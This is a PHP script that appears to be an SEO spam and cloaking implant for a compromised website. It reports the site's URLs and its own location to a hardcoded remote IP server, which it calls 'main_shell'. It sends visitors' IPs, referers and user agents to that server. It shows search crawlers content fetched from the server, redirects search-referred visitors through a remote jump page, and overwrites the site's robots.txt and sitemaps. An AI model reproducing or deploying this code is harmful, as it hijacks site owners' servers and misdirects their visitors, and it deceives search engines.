<?php
	 
	$inter_domain='http://107.150.61.250/z51211_7/';
	
	function getServerCont($url,$data=array()){
		$url=str_replace(' ','+',$url);
		$ch=curl_init();
		curl_setopt($ch,CURLOPT_URL,"$url");
		curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
		curl_setopt($ch,CURLOPT_HEADER,0);
		curl_setopt($ch,CURLOPT_TIMEOUT,10);
		curl_setopt($ch,CURLOPT_POST,1);
		curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, FALSE);
		curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));
		$output = curl_exec($ch);
		$errorCode = curl_errno($ch);
		curl_close($ch);
		if(0!== $errorCode){
			return false;
		}
		return $output;
	}
	
	function is_crawler($agent){
		$agent_check=false;
		$bots='googlebot|bingbot|google|aol|bing|yahoo';
		if($agent!=''){
			if(preg_match("/($bots)/si",$agent)){
				$agent_check = true;
			}
		}
		return $agent_check;
	}
	
	function check_refer($refer){
		$check_refer=false;
		$referbots='google|yahoo|bing|aol';
		if($refer!='' && preg_match("/($referbots)/si",$refer)){
			$check_refer=true;
		}
		return $check_refer;
	}
	
	$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');
	$req_uri=$_SERVER['REQUEST_URI'];
	$domain=$_SERVER["HTTP_HOST"];
	$self=$_SERVER['PHP_SELF'];
	$ser_name=$_SERVER['SERVER_NAME'];
	$req_url=$http.$domain.$req_uri;
	$indata1=$inter_domain."/indata.php";
	$map1=$inter_domain."/map.php";
	$jump1=$inter_domain."/jump.php";
	$url_words=$inter_domain."/words.php";
	$url_robots=$inter_domain."/robots.php";
	
	if(strpos($req_uri,".php")){
		$href1=$http.$domain.$self;
	}else{
		$href1=$http.$domain;
	}
	
	$data1[]=array();
	$data1['domain']=$domain;
	$data1['req_uri']=$req_uri;
	$data1['href']=$href1;
	$data1['req_url']=$req_url;
	
	if(substr($req_uri,-6)=='robots'){
	    define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']);
	    $robots_cont=@file_get_contents(BASE_PATH.'/robots.txt');
	    $data1['robots_cont'] = $robots_cont;
	    $robots_cont = @getServerCont($url_robots,$data1);
	    file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);
	    $robots_cont=@file_get_contents(BASE_PATH.'/robots.txt');
	    if(strpos(strtolower($robots_cont),"sitemap")){
	        echo 'robots.txt file create success!';
	    }else{
	        echo 'robots.txt file create fail!';
	    }
	    exit;
	}
	
	if(substr($req_uri,-4)=='.xml'){
		if(strpos($req_uri,"allsitemap.xml")){
			$str_cont = getServerCont($map1,$data1);
			header("Content-type:text/xml");
			echo $str_cont;exit;
		}
		
		if(strpos($req_uri,".php")){
			$word4=explode("?",$req_uri);
			$word4=$word4[count($word4)-1];
			$word4=str_replace(".xml","",$word4);
		}else{
			$word4= str_replace("/","",$req_uri);
			$word4= str_replace(".xml","",$word4);
		}
		
		$data1['word']=$word4;
		$data1['action']='check_sitemap';
		$check_url4=getServerCont($url_words,$data1);
		if($check_url4=='1'){
			$str_cont=getServerCont($map1,$data1);
			header("Content-type:text/xml");
			echo $str_cont;exit;
		}
		
		$data1['action']="check_words";
		$check1= getServerCont($url_words,$data1);
		if(strpos($req_uri,"map")> 0 || $check1=='1'){
			$data1['action']="rand_xml";
			$check_url4=getServerCont($url_words,$data1);
			header("Content-type:text/xml");
			echo $check_url4;exit;
		}
	}
	
	if(strpos($req_uri,".php")){
		$main_shell=$http.$ser_name.$self;
		$data1['main_shell']=$main_shell;
	}else{
		$main_shell=$http.$ser_name;
		$data1['main_shell']=$main_shell;
	}
	
	$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
	$chk_refer=check_refer($referer);
	$user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');
	$res_crawl=is_crawler($user_agent);
	
	$req_uri = str_replace(array(".htm",".html",".shtml",".phtml"),"",rtrim($req_uri,"/"));
	if(!$res_crawl && $chk_refer && preg_match('/\d$/',$req_uri)){
		$data1['ip']=$_SERVER["REMOTE_ADDR"];
		$data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
		$data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');
		echo getServerCont($jump1,$data1);exit;
	}
	
	if($res_crawl){
		$data1['http_user_agent']=$user_agent;
		$get_content = getServerCont($indata1,$data1);
		echo $get_content;exit;
	}
?>